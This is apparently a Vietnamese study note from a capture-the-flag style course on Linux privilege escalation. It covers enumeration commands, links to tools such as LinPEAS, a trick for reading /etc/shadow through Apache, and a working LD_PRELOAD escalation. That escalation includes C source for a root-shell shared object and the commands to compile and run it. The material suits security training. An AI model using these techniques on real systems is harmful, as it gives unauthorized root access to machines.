Linux Privilege Escalation
Step 1: Enumeration
Enumeration là bước đầu tiên bạn phải thực hiện một khi bạn có quyền truy cập vào bất kỳ hệ thống nào.
hostname
: trả về hostname của hệ thống đích => có thể chứa thông tin về hệ thống
uname -a
: Đưa ra thông tin chi tiết về kernel của system
/proc/version
: Chứa các thông tin về các tiến trình trên hệ thống mục tiêu.
/etc/issue
: Chứa thông tin về Hệ điều hành
ps command
: Đưa ra các tiến trình đang chạy trên Linux bao gồm PID (process id), TTY (Terminal type used by the user), Time (Khoảng thời gian CPU được sử dụng bởi tiến trình), CMD (dòng lệnh hay câu lệnh thực thi đang chạy).
ps -A
: Xem tất cả tiến trình đang chạy
ps axjf
: Xem tiến trình dạng cây
ps aux
: Tiến trình của toàn bộ users
env
: Show các biến môi trường
sudo -l
: Hệ thống mục tiêu được cấu hình để cho phép người dùng chạy 1 vài (hoặc tất cả) các lệnh với quyền root => List các command có thể được user chạy với quyền root
netstat
: Được sử dụng với 1 số options khác nhau để thu thập thông tin và các connections hiện có
netstat -a: show các ports đnag lắng nghe và các kết nối đã được thành lập.
netstat -at hoặc netstat -au: hiện các giao thức TCP, UDP tương ứng.
netstat -l: các ports ở chế độ lắng nghe. Option -t: TCPP protocol
find Command
: Tìm kiếm thông tin
find . -name flag1.txt: Tìm kiếm file flag1.txt ở thư mục hiện tại.
find /home -name flag1.txt: Tìm kiếm file flag1.txt ở thư mục /home.
find / -type d -name config: Tìm kiếm folder tên "config" ở "/"
find / -type f -perm 0777
find / -perm a=x: Tìm file thực thi
find /home -user frank: TÌm các file của người dùng "frank" trong folder /home
find / -mtime 10: Tìm các file mới được sửa đổi trong 10 ngày
find / -atime 10: Tìm các file mới được truy cập trong 10 ngày
find / -cmin -60: Tìm các file mới được sửa đổi trong 60 phút
find / -amin -60: Tìm các file mới được truy cập trong 60 phút
find / -size +100M
-type f 2>/dev/null: đưa ra output sạch, lỗi đưa vào /dev/null
Tìm kiếm các folder có thể ghi:
find / -writable -type d 2>/dev/null
find / -perm -222 -type d 2>/dev/null
find / -perm -o w -type d 2>/dev/null
find / -name gcc*
Step 2: Automated Enumeration Tools
LinPeas
: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
LinEnum
: https://github.com/rebootuser/LinEnum
LES (Linux Exploit Suggester)
: https://github.com/mzet-/linux-exploit-suggester
Linux Smart Enumeration
: https://github.com/diego-treitos/linux-smart-enumeration
Linux Priv Checker
: https://github.com/linted/linuxprivchecker
Step 3: Privilege Escalation
Kernel Exploits
Kernel trên Linux quản lý việc các thành phần như memory trên hệ thống và ứng dụng giao tiếp với nhau. Các chức năng này cần có quyền cụ thể => Khai thác thành công, có quyền root
Khai thác Kernel
- Nhận dạng version của kernel
- Tìm kiếm code exploit của version đó
- Chạy code
Sudo
Lệnh sudo cho phép người dùng chạy chương trình với quyền root. Trong 1 số trường hợp, admin có thể cho người dùng quyền root khi thực hiện công việc gì đó.
sudo -l
: Hệ thống mục tiêu được cấu hình để cho phép người dùng chạy 1 vài (hoặc tất cả) các lệnh với quyền root => List các command có thể được user chạy với quyền root
gtfobins: tài nguyên cung cấp thông tin cách chương trình có thể có quyền sudo có thể được sử dụng
Leverage application functions
Apache2 có option lựa chọn tệp cấu hình thay thế
=> Load file /etc/shadow
luôn cũng được, sẽ ra dòng đầu tiên
Leverage LD_PRELOAD
Trên một số hệ thống, ta có thể thấy LD_PRELOAD env option
LD_PRELOAD là một chức năng cho phép bất kỳ chương trình nào sử dụng các thư viện được chia sẻ.
Blog này nói cho bạn về khả năng của LD_PRELOAD. Nếu option env_keep được bật, ta có thể generate thư viện chung để mà được load và thực thi trước khi chương trình được chạy. LD_PRELOAD sẽ bị bỏ qua nếu ID người dùng thực khác với ID người dùng hiệu quả.
Các bước leo quyền với LD_PRELOAD:
- Check LD_PRELOAD với option env_keep
- Viết code C và compile về share object file (.so extension)
- Chạy chương trình với quyefn sudo và LD_PRELOAD trỏ tới file .so của ta
Code C:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
Compile
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
Run program
sudo LD_PRELOAD=/home/user/ldpreload/shell.so find
Result